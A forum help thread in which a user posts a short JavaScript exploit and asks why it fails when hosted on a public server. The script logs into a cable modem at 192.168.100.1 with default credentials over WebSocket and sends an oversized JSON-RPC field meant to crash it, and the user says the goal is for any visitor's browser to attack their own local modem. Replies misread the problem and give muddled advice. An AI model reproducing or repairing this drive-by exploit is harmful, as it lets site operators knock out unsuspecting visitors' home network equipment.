Need help websocket

the script works fine if i run it from my own pc but if i upload it to a server and load the webpage it dont work.

Heres the website its uploaded to

and the script:

exploit = ‘{“jsonrpc”:“2.0”,“method”:“Frontend::GetFrontendSpectrumData”,“params”:{“coreID”:0,“fStartHz”:’ + ‘A’*200 + ‘,“fftSize”:1024,“gain”:1,“numOfSamples”:1},“id”:“0”}’
console.log(exploit)

var socket = new WebSocket(“ws://admin:password@192.168.100.1:8080/Frontend”, ‘rpc-frontend’)

socket.onopen = function(e) {
socket.send(exploit)
};

its should to open a connection to your modem and send data to it but its only working when hosted on my pc and opened on my pc

what are you trying to do exactly.
what language are you using
what errors are you getting

its using html and java script.

the script works when i run it on the local machine ie my pc it logs into my modem and sends the payload but if i put it on a server and open it the script dont seem to do its job not getting any errors that im aware of. the goal it to have its hosted on a site and when i open it on any computer it will login to the local computers modem and send the payload

If i go to the website i get the next: Attempting to crash cable modem…
no website name only some thing that looks like an IP adress.
Do you have a host name? Did you contact the host server about this issue?

theres no host name just a quick server i put up to simply run the script when opened its just a ip address its just a index.html and a script.js file very simple

heres the whole website you can download http://51.79.84.162/files/simple.rar

The raw file just gives me an error message that I need a speciefic APP to open it.
If it’s not to much code. Can you post it here or use a codepen/github?

exploit = ‘{“jsonrpc”:“2.0”,“method”:“Frontend::GetFrontendSpectrumData”,“params”:{“coreID”:0,“fStartHz”:’ + ‘A’*200 + ‘,“fftSize”:1024,“gain”:1,“numOfSamples”:1},“id”:“0”}’
console.log(exploit)

var socket = new WebSocket(“ws://admin:password@192.168.100.1:8080/Frontend”, ‘rpc-frontend’)

socket.onopen = function(e) {
socket.send(exploit)
};

thats the .js file

It is only working onto your PC because, you have dowloaded the files. The link of the JS you gave us connect to that.
If you put it onto a website and it cannot find/has trouble finding it source then try upload the dowload files you have on your PC to the host. If that doesn’t work ask your host if they block anything from other sites. This can be done onto automaticly to protect other sites from you stealing their materials it is a standart copyright prevention.